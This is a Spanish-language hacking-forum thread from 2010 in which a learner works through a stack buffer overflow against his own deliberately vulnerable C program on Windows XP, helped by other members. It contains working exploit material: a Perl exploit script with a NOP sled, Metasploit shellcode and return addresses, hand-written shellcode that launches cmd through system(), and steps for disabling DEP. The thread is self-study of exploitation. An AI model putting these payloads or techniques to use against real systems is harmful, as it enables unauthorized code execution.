elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 06:48  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Buffer Overflow (ayuda)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Buffer Overflow (ayuda)  (Leído 2,519 veces)
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Buffer Overflow (ayuda)
« en: 27 Enero 2010, 19:08 »

Wenas, no sabia si postear esto aqui o en la sección de Hacking Novatos. Si no es aqui lo siento  :-(

Bueno, me explico. LLevo una semana explorando con los Buffer Overflow, y tras varios manuales me puse a hacer mis pruebas. El problema es el siguiente:

Estoy trabajando sobre un XP SP3 Espanish. He creado mi ejecutable explotable en C y le paso los parametros por Perl, y me encuentro en la parte de donde introducir el shellcode (que en mi caso es abrir la calculadora de windows). Tras overflowear la pila y el EIP se me keda mas o menos asi:

...
...       Todo esto es basura...
...
0022FF54    31383237    7281 <---Basura introducida
0022FF58    42354558    DC5B <---EBP con basura sobreescrita
0022FF5C    41414141    AAAA <---EIP sobreescrito
...
...       Mas basura...
...

Ahora... en varios manuales e leido que hay que crear espacio para la scode, meter en EBP la direccion hacia el principio de la scode (o un poco antes si usamos NOP'S) y en EIP apuntar a un JMP EBP de alguna .dll cargada en memoria por el programa.

La pregunta es si en el espacio de basura que hemos creado al introducir los argumentos podria meter ahi la scode y rellenar de NOP'S por arriba y por abajo, y que EBP apunte hacia uno de los NOP's de por encima de la scode.

Aver si asi me explico mejor. La cosa quedaria asi:


NOP NOP
NOP NOP
NOP NOP
SCODE
SCODE
SCODE
NOP NOP
NOP NOP                       
EBP Con direccion a 1er NOP
EIP Con direccion a JMP EBP de .dll

Se hace asi o me estoy haciendo un lio...?

Desde ya, gracias...y ser benevolentes conmigo  :P
En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Buffer Overflow (ayuda)
« Respuesta #1 en: 27 Enero 2010, 23:39 »

Vas bien, tal parece que solo tienes algún problema con las direcciones de memoria, la dirección de los argumentos donde se alojo en primera tu buffer (argv[1]) Supongo es diferente de la del buffer al que se copia con el strcpy supongo.

Lo espacios entre el shellcode y el EBP e EIP, no importa para nada, puedes rellenarlo con lo que quieras.

Siempre que EBP apunte al primer byte del shellcode o en su caso a algún nop que le anteceda, no va a ver problema.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: Buffer Overflow (ayuda)
« Respuesta #2 en: 28 Enero 2010, 18:41 »

Bueno, en primer lugar, gracias.

Y en segundo, sigo con mis dudas :P os comento:

Bueno, este es el codigo vulnerable en C:
Código:
#include <cstdlib>
#include <iostream>

using namespace std;

int FuncionVulnerable(char *ostia){
 char buffer[300];
 strcpy(buffer,ostia);  
}

int main(int argc, char *argv[])
{
 printf("\nEstamos dentro!");
 FuncionVulnerable(argv[1]);
 return 0;
}
Es un tipico codigo explotable sin ninguna cosa rara.

Y este es el exploit en perl:

Código:
#!/usr/bin/perl

system("cls");

my $nops=   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

my $shellcode = "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcc".
"\x8c\x0b\x6b\x83\xeb\xfc\xe2\xf4\x30\x64\x4f\x6b\xcc\x8c\x80\x2e".
"\xf0\x07\x77\x6e\xb4\x8d\xe4\xe0\x83\x94\x80\x34\xec\x8d\xe0\x22".
"\x47\xb8\x80\x6a\x22\xbd\xcb\xf2\x60\x08\xcb\x1f\xcb\x4d\xc1\x66".
"\xcd\x4e\xe0\x9f\xf7\xd8\x2f\x6f\xb9\x69\x80\x34\xe8\x8d\xe0\x0d".
"\x47\x80\x40\xe0\x93\x90\x0a\x80\x47\x90\x80\x6a\x27\x05\x57\x4f".
"\xc8\x4f\x3a\xab\xa8\x07\x4b\x5b\x49\x4c\x73\x67\x47\xcc\x07\xe0".
"\xbc\x90\xa6\xe0\xa4\x84\xe0\x62\x47\x0c\xbb\x6b\xcc\x8c\x80\x03".
"\xf0\xd3\x3a\x9d\xac\xda\x82\x93\x4f\x4c\x70\x3b\xa4\x7c\x81\x6f".
"\x93\xe4\x93\x95\x46\x82\x5c\x94\x2b\xef\x6a\x07\xaf\xa2\x6e\x13".
"\xa9\x8c\x0b\x6b";

my $ebp = "AAAA";#"\x20\xFE\x22\x00"; <---EBP apunta a los nops encima de la shellcode
my $ret = "\x03\xBB\x97\x7C";# <---EIP apunta a user32.dll (JMP EBP)
my $exploit=$nops.$shellcode.$ebp.$ret;
system("Proyecto2.exe ",$exploit);

print "\n\nExploit completado con exito!!!";

Aqui EIP (ret) se sobreescribe con una direccion que apunta a user32.dll a un JMP EBP, al explotar  el programa, salta el  fallo de que no puede saltar a "41414141" (la direccion contenida por EBP), hasta aqui perfecto.
Pero al sustituir "AAAA" por la direccion real a la que quiero saltar el programa me devuelve que intenta ir a la direccion " e0408047" que no se parece en nada a la que e introducido.

He leido algo, de que no se pueden introducir 00's por que los toma como fin de cadena o algo por el estilo (lo lei en un manual de un mexicano explicandolo en ingles, asi que no me entere de mucho :S) asi que intente sustituir \x00 por cualquier otro numero aver si ese era el fallo, pero tampoco, me mando a una direccion mas rara aun :( (000013fb).

Bueno, ese es mi dilema. Algun alma caritativa me echa una mano?

Muchas gracias.
« Última modificación: 28 Enero 2010, 18:45 por ikary » En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Buffer Overflow (ayuda)
« Respuesta #3 en: 28 Enero 2010, 22:48 »

Código
#!/usr/bin/perl
 
system("cls");
 
my $nops= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
 
my $shellcode = "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xcc".
"\x8c\x0b\x6b\x83\xeb\xfc\xe2\xf4\x30\x64\x4f\x6b\xcc\x8c\x80\x2e".
"\xf0\x07\x77\x6e\xb4\x8d\xe4\xe0\x83\x94\x80\x34\xec\x8d\xe0\x22".
"\x47\xb8\x80\x6a\x22\xbd\xcb\xf2\x60\x08\xcb\x1f\xcb\x4d\xc1\x66".
"\xcd\x4e\xe0\x9f\xf7\xd8\x2f\x6f\xb9\x69\x80\x34\xe8\x8d\xe0\x0d".
"\x47\x80\x40\xe0\x93\x90\x0a\x80\x47\x90\x80\x6a\x27\x05\x57\x4f".
"\xc8\x4f\x3a\xab\xa8\x07\x4b\x5b\x49\x4c\x73\x67\x47\xcc\x07\xe0".
"\xbc\x90\xa6\xe0\xa4\x84\xe0\x62\x47\x0c\xbb\x6b\xcc\x8c\x80\x03".
"\xf0\xd3\x3a\x9d\xac\xda\x82\x93\x4f\x4c\x70\x3b\xa4\x7c\x81\x6f".
"\x93\xe4\x93\x95\x46\x82\x5c\x94\x2b\xef\x6a\x07\xaf\xa2\x6e\x13".
"\xa9\x8c\x0b\x6b";
 
my $ebp = "AAAA";#"\x20\xFE\x22\x00"; <---EBP apunta a los nops encima de la shellcodemy $ret = "\x03\xBB\x97\x7C";# <---EIP apunta a user32.dll (JMP EBP)
my $exploit=$nops.$shellcode.$ebp.$ret;
system("Proyecto2.exe ",$exploit);
 
print "\n\nExploit completado con exito!!!";


Código
my $ebp = "AAAA";#"\x20\xFE\x22\x00"; <---EBP apunta a los nops encima de la shellcode


el \x00 es el que te esta dando problemas, ahi solo estas controlando el EBP es posible aun asi poder saltar a la shellcode, pero si nos podido hacerlo de la manera comun, no lo podras hacer solo con el EBP.

No necesariamente tienes que tener un \x00 puedes tener un \x0a etc... solo tienes que asegurarte euq en esa direccion esta el inicio del shellcode o algunos nops.

Saludos

En línea

Bien Super Divertido
@wifigdlmx
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: Buffer Overflow (ayuda)
« Respuesta #4 en: 29 Enero 2010, 17:39 »

Bueno, me rindo   :-(

He cambiado de metodo e intente pasarle el shellcode al comienzo de ESP y una llamada a JMP ESP desde EIP (sin saltar a direcciones diferentes, ya intentare hacer saltos mas adelante  :silbar:)

quedaria asi:

NOP NOP
NOP NOP
NOP NOP
EBP <-- nops
EIP <--JMP ESP
ESP <--principio de la shellcode

Pero... ni aun asi XDD, MSDOS me devuelve algo como (""$%··!"!"!·%&/¬÷“”#¢∞@" no se reconoce como un comando valido) o algo asi, ahora mismo no estoy delante de mi ordenador ^^

Asi que creo que pueden estar pasando dos cosas: O que realmente no estoy metiendo bien la direccion, o que el shellcode no funcione bien.

Voy a probar por ultima vez haciendo el exploit en C para poder seguir la ejecucion con el olly, por que no puedo pasarle parametros al olly desde un pl, y hasta ahora lo estaba haciendo un poquito "a ciegas".

O probar a hacer el shellcode yo mismo, por que el que estoy usando lo saque de metasploit.

Si alguien tiene alguna sugerencia o me puede echar una mano...  :P

Por cierto, gracias Anon
En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Buffer Overflow (ayuda)
« Respuesta #5 en: 29 Enero 2010, 23:26 »

Sinceramente no se que este pasando contigo, hay que tener en cuenta que muchas veces las direcciones de la PILA en le depurador son diferentes que las mismas direcciones pero en el sistema real.

También podría ser que tu Win tenga desactivado la ejecución desde pila.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: Buffer Overflow (ayuda)
« Respuesta #6 en: 31 Enero 2010, 00:54 »

Yujuuuuuu! Por fin lo he conseguido!!! ;-) ;-)

Lo solucioné recogiendo los argumentos por .txt y asi podia seguir la ejecución con el Olly  ;D

Muchas gracias Anon por la ayuda   ;)

Pero esto no termina aqui, ahora tocan los "Remote" jeje

Aunque por lo que e estado viendo no tiene mas misterio que pasarle los argumentos por socket. no?

Bueno, me toca volver a estudiar manuales y a volver a desesperarme corrigiendo errores  :P

De nuevo, gracias ^^

Un saludo.
En línea
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Buffer Overflow (ayuda)
« Respuesta #7 en: 31 Enero 2010, 06:56 »

Felicidades, ahora si conociendo la teoria base, se aplica lo mismo para archivos, sockets, Variables de Entorno, Argumentos de función.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Buffer Overflow (ayuda)
« Respuesta #8 en: 16 Febrero 2010, 00:29 »

Ikary, vuelvo a contestar aqui, ya que tengo la solucion a tu problema sobre no poder explotarlo desde el Olly, el problema es ese el Olly debugger xD mira yo creee mi propio vulnerable :P y tube mas o menos los mismo problemas al explotarlo mediante los argumentos, el problema estaba al depurar con Olly no se que cosas raras hace el punto es que no puedes desde el mira:

Mi código vulnerable:

Código
#include<stdio.h>
 
 
 
int main(int argc,char *argv[]) {
 
char buffer[40];
 
printf("Numero: %d\n",argc);
 
if(argc == 2) {
 
strcpy(buffer,argv[1]);
 
}
 
}
 
 

Ahora al compilar y ejecutar con un parámetro mas largo que el  buffer:



Se cuelga el programa y la ventana de información no me muestra que alguna de los registros este sobrescrito Ahora desde el Olly al depurar no me dejaba mira tambien aqui he resaltado con rojo los registros interesantes




Y despues de intentar unas 3 veces me di cuenta que era el olly cambie por Ida Pro:



Ahi si se puede depurar agusto.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Buffer Overflow (ayuda)
« Respuesta #9 en: 16 Febrero 2010, 08:42 »

Ok, el programa vulnerable es el mismo code que puse ahi, lo compile con gcc de devcpp, sobrescribí el EIP con 60 Caracteres y eso que el buffer era de 40 pero bueno.

Después de eso solo conseguir la dirección de JMP ESP y la de SYSTEM


después de crear el exploit como en el manual de rojodos 56 Bytes para el relleno + 4 de JMP ESP + 32 bytes de shellcode:

Código
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3"

y FALLO:


Citar
cmdD no se reconoce...

Habia usado casi el mismo shellcode que rojodos en su paper, pero lo habia acortado un poco, y en lo que vi el error recordé el carácter '\0' delimitador de cadena, entonces modifique el shellcode por este:

Código
"\x55\x8B\xEC\x33\xC9\x51\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D\xFB\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3"

Solo aumento en 3 bytes y el resultado:


Con lo anterior creo que ya mas o menos sabes por donde estabas mal

Citar
Pero... ni aun asi XDD, MSDOS me devuelve algo como (""$%··!"!"!·%&/¬÷“”#¢∞@" no se reconoce como un comando valido) o algo asi, ahora mismo no estoy delante de mi ordenador ^^

Probablemente le estabas pasando alguna otra dirección al system.

Saludos




En línea

Bien Super Divertido
@wifigdlmx
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.781


Toys in the attic.


Ver Perfil
Re: Buffer Overflow (ayuda)
« Respuesta #10 en: 16 Febrero 2010, 12:45 »

Otra cosa, me imagino que habrás desactivado el DEP, no???
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Buffer Overflow (ayuda)
« Respuesta #11 en: 16 Febrero 2010, 13:42 »

@APOKLIPTICO

Le preguntas a Ikary o a mi xD, yo no he desactivado nada, por lo menos no lo de:

Citar
1. Ir a Panel de control > Sistema > Opciones avanzadas
2. Pulsar en Configuración de Inicio y recuperación
3. Pulsar en Editar
4. En [operating systems] sustituir NoExecute por Alwaysoff. Quedaria asi: /noexecute=Alwaysoff /fastdetect

Recuerdo que habia otra menera de hacerlo y no se si esa la hice o no, pero ahorita no recuerdo donde esta.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
ikary

Desconectado Desconectado

Mensajes: 127


Ver Perfil
Re: Buffer Overflow (ayuda)
« Respuesta #12 en: 16 Febrero 2010, 14:44 »

Muchisimas gracias Anon!!  ;-)
La verdad es que al final no conseguí sacarlo por argumentos, me cansé de probar direcciones a ciegas y pasé a hacerlo por .txt  ;D

Voy a descargar el Ida Pro y a rehacer el exploit y luego te cuento.

Un saludo, y gracias otra vez  ;-)

En línea
APOKLIPTICO


Desconectado Desconectado

Mensajes: 3.781


Toys in the attic.


Ver Perfil
Re: Buffer Overflow (ayuda)
« Respuesta #13 en: 16 Febrero 2010, 15:43 »

Hablo del DEP el Data execution prevention, el que esta en propiedades de sistema, opciones avanzadas configuracion de rendimiento.
En línea

AMD Phenom II 1075T X6 @ 290 Mhz x 11 (HT 2036 Mhz NB Link 2616 Mhz) 1.23 Vcore
ASUS M4A89GTD-PRO/USB3
2x2gb G-Skill RipjawsX DDR3 1600 Mhz CL7 (7-8-7-24-25-1T)
Seagate 500 Gb
XFX HD4850 512Mb GDDR3. 650 Mhz/995 Mhz 1.1 Tflops.
AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Buffer Overflow (ayuda)
« Respuesta #14 en: 16 Febrero 2010, 22:39 »

a si, ahi solo tengo el DEP activado para programas de windows y servicios, no se activa para programas que yo cree, entonces el DEP lo tengo desactivado.

Saludos
En línea

Bien Super Divertido
@wifigdlmx
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Necesito ayuda urgente, buffer overflow.
Bugs y Exploits
RocKHounD 8 1,393 Último mensaje 13 Abril 2012, 19:59
por berz3k
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines